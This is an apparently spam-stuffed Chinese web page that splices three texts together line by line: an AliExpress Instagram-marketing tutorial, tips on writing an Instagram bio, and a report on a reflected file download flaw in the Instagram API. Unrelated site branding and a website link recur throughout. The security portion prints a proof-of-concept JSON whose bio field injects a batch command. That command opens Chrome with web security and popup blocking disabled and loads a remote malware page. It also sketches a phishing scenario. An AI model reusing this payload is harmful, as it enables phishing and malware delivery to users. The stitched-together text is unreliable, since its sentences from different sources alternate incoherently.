皇家国际官网[welcome] 11

【www.hj8828.com】以假乱真:利用Instagram API制造恶意分享链接

皇家国际官网[welcome] 1

2018年3月19日更新内容:
今天题主听了速卖通关于A+介绍的直播。平台对站外推广在进行大力扶持,也坚定了自己做站外推广对决心。
这篇教程是我之前发步的,现在作一下简单的修改:
原文:速卖通Instagram推广入门-》2、如果你的店铺产品比较多,客户点击链接进入店铺如何找到自己喜欢的产品呢
我介绍了通过短链接对 要推广的链接 进行修饰和数据分析。
A+直播中介绍google平台将bit.ly这个短链接平台屏蔽了,推荐使用google短链接平台。
平台地址是:https://goo.gl/
另外推广的时候注意使用A+工具,不然推广无法进入平台刺激机制的数据。

皇家国际官网[welcome],Instagram简介是你给访客的第一印象,它包含最多150个字符和一个链接,可谓一字千金。如何在有限的空间里编写最完美的简介,使访客变成粉丝?我们整理了以下7个步骤:

如有需要大家可以建一个群,一起交流分享一下如何做A+,哎人比较懒,后面再说吧,😄

安全研究人员最近发现了一种利用Instagram
API形成的恶意分享链接,由于这个链接指向Instagram域名,所以很容易被用户相信并下载。如果在钓鱼攻击中利用该漏洞,可以极大地提高攻击效率。

  1. 品牌介绍

前言

一个成功的电商店铺,流量是其中一个决定性因素。由于速卖通平台特性,站内流量是运营人员最为看重的一块。而站外流量,或者说站外推广这方面还比较薄弱。随着竞争的日趋加大,相信卖家朋友们也会逐渐重视站外推广的工作。

皇家国际官网[welcome] 2

Instagram
Bio最首要解决的问题是:我是谁?我的使命是什么?我服务什么人群。

站外推广的几个主要平台

Facebook、Instagram、Pinterest、Linkedin、Twitter、Youtube、Snapchat、Tumblr、以及专注俄罗斯市场的
VK

Instagram
是一个图片分享的社交平台,聚集了许多年轻女性,适合时尚类产品的展示和引流。

漏洞详情

现代人每天面对信息的狂轰滥炸,注意力比金鱼还短。最近微软的消费者研究表明指出,今天人类注意力跨度从2000年的12秒下降到8秒,而金鱼的注意跨度是9秒。当一个新用户发现你的账号的时候,你必须第一时间用最简练最直接的一句话介绍吸引住他的眼球,才不会流失潜在粉丝。

Instagram 操作简单介绍

1.账号的申请
目前国内无法直接登陆Instagram, 需要使用VPN登陆。
2.Instagram 界面
我们以Aliexpress的官方主页为例:

皇家国际官网[welcome] 3

Screen Shot 2018-03-14 at 5.41.21 PM.png

IN的界面比较简洁,头部展示一些基本信息,下面就是分享的图片。
账号有一个简介类容(称为Bio).
Bio可以简要介绍自己的账号,以及提供的服务。下面可以放一个且唯一的一个链接,可以是你的网站,或者博客一类的链接。

这个RFD(反射型文件名下载)漏洞存在于Instagram
API中。通过篡改任何用户账号的访问令牌并使用一些技巧,攻击者可以创建一个恶意文件下载链接。同时由于这个链接指向Instagram域名上的合法资源,所以很难被用户觉察。

例如:内衣品牌knix用很简练的17个单词就解决了这三个问题:

速卖通Instagram推广入门

www.hj8828.com,上面我们说了,Instagram的Bio内容区可以放一个链接(注意上传图片的时候,图片里是不能放链接的)。既然可以放链接,那么将自己店铺的链接放上去就可以了,然后上传自己的产品图片。为了达到一个比较好的推广效果,有以下几点可以注意一下:

 “我在Instagram API上发现了一个RFD(反射型文件名下载),不需要向URL上添加任何指令,因为我们可以使用一个持久型反射域来实现它,例如用户账号上的“Bio”域。

那么,我们需要什么呢?仅仅需要一个令牌。不过不用担心,我们只需注册一个新的账号就能得到一个令牌。下一步,插入我们想在用户账号的“Bio”域(或其他域)中使用的批处理指令。接着,我将尝试用Chrome浏览器打开一个包含恶意代码的新页面,该恶意页面可以禁用该浏览器中的大多数保护机制。”

我是一个内衣品牌,

1、推广的过程中需要对流量来源进行分析。

如果直接放上店铺链接,很难对流量来源进行分析。而且速卖通店铺的链接比较长,放在上面十分难看,需要对链接进行鉴定修饰。如官方账号上的那样,使用了短链接。
什么是短链接,太多的内容就不说了。可以理解为一个中间链接。客户点击短链接后,短链接平台对来源进行分析(时间很短可以忽略不计),然后将客户重新定向到你的店铺上。
这种类型的短链接很多,官方使用的是短链接平台是 bitly.com
有需要的可以在该网站进行注册。国内同样不能流畅打开该网站,需要翻墙。

为了构建“反射型部分”,Sopas在用户账号的“Bio”域中插入了一个批处理指令,并解释说插入到其他域也可以实现同样的功能。然后,他用Chrome浏览器打开一个包含恶意代码的新页面,该恶意页面可以禁用浏览器中的大多数保护机制。

我服务所有女性,

2、如果你的店铺产品比较多,客户点击链接进入店铺如何找到自己喜欢的产品呢

一个速卖通店铺的SKU少则100多,多则上千,客户如何找到自己在Instagram上看见的那一款产品呢
这里可行的方法有两个:

通过分析了用户的Instagram
JSON文件,然后通过修改JSON文件来实现“文件名部分”:

我的使命是让所有女性体验舒适自由的内衣体验。

1. 寻找一个中间平台,放上图片+链接。

中间平台的作用是链接instagram和速卖通店铺。中间平台的好处是,上传的图片可以随意的放上链接。
比较好的一个平台是:telegra
速卖通俄罗斯官网使用的就是telegra,如图

皇家国际官网[welcome] 4

Screen Shot 2018-03-14 at 6.06.03 PM.png

点开可以看见:

皇家国际官网[welcome] 5

Screen Shot 2018-03-14 at 6.08.39 PM.png

不知道大家注意没有,俄罗斯官网是根据日期更新的,就是每天或者每周更换bio的链接。这样的好处是可以提高分享图片的频率,但是工作量增加了。

在纯文字之外,可以利用一些小伎俩吸引眼球:

2、在速卖通上创建一个单页拥有收集在instagram上展示的商品。

我们可以点开速卖通
aliexpress.official的链接:bit.ly/INSTALI

皇家国际官网[welcome] 6

Screen Shot 2018-03-14 at 6.14.36 PM.png

这个是速卖通专门为账户创建的一个单页。

那我们普通卖家如何为创建这样的一个单页呢?

如果想创建一张一摸一样的单页是不可能的,我们没有权限,单是有一个替代方法。

目前速卖通开通了新版的店铺装修,不知道各位卖家有没有注意。

皇家国际官网[welcome] 7

Screen Shot 2018-03-14 at 6.17.50 PM.png

点击立即体验新版

皇家国际官网[welcome] 8

Screen Shot 2018-03-14 at 6.18.55 PM.png

可以在自定义页面中新建页面。
目前新建页面的限制比较多,而且需要从有限的模板中进行选择。

皇家国际官网[welcome] 9

Screen Shot 2018-03-14 at 6.21.27 PM.png

通过我的测试,选择默认模版可以大致实现官网页面的元素。

皇家国际官网[welcome] 10

Screen Shot 2018-03-14 at 6.22.53 PM.png

注意我左边画圈的地方。由于模版限制,需要隐藏部分不需要的模块,留下一个商品banner
和 商品列表。
同时怎么隐藏其他模块呢,点击模块的小眼睛图标就可以了。
你设置好后就可以发步了。

皇家国际官网[welcome] 11

Screen Shot 2018-03-14 at 6.28.12 PM.png

在更多的那个小菜单可以复制该页面的链接

后了,基本的就完成了,当然你也可以设计一个更加漂亮的页面留住客户,也可以设计其它页面用于其他平台的推广,这需要各位的创造了。

{“meta”:{“code”:200},”data”:{“username”:”davidsopas”,”bio”:”\”||start
chrome websegura.net\/malware.htm –disable-web-security
–disable-popup-blocking||”,”website”:”http:\/\/websegura.net”,”profile_picture”:”https:\/\/igcdn-photos-f-a.akamaihd.net\/hphotos-ak-xaf1\/t51.2885-19\/11055505_1374264689564237_952365304_a.jpg”,”full_name”:”David
Sopas”,”counts”:{“media”:0,”followed_by”:11,”follows”:3},”id”:”1750545056″}}

LingoJam可以自定义字体,只需要将你想要的字体从LingoJam复制粘贴到Ins
Profile里。

下一步该做什么

今天只是介绍了一些instagram的推广的简单设置,如何做好推广呢。
可以关注我后续关于instagram自动化的教程,通过程序,自动点赞用户,通过用户的回点聚集粉丝达到引流的效果。

有想法的朋友可以在简书或者微博下面留言,或者添加我的微信:IceBear
我不是专门做推广的,如果要添加微信请注明来意。

哈哈哈 教程就这样了,大家多多关注我的这个专题。 这里会分享一些有关
外贸独立站、网站技术、PS 操作技巧的文章。

由于“文件名部分”的限制,这种附加方法只能在特定的浏览器中正常工作,这些浏览器包括Chrome、Opera、Chrome安卓版、安卓stock浏览器和火狐浏览器。

添加好玩的emojis来丰富Bio。

攻击演示视频

?用指示性标志指向link来增加链接的点击率。

在他的攻击中,Sopas使用了一个特定的文件名,他创建的完整链接可以被发送到受害者的Instagram消息中。

  1. 宣传品牌tag

下面的视频演示了该攻击的PoC:

在profile的品牌介绍后面可以添加品牌tag。这个tag可以是品牌名字,比如#shein;也可以是品牌正在宣传的一个campaign活动,比如可口可乐的
#shakeacoke#makeithappy,shein的#sheingals。

Sopas假设了以下可能的攻击场景:

推广品牌hashtag的好处是:

1、恶意用户向他所有的Instagram好友发送一条消息,其中包含一个指向恶意页面的链接。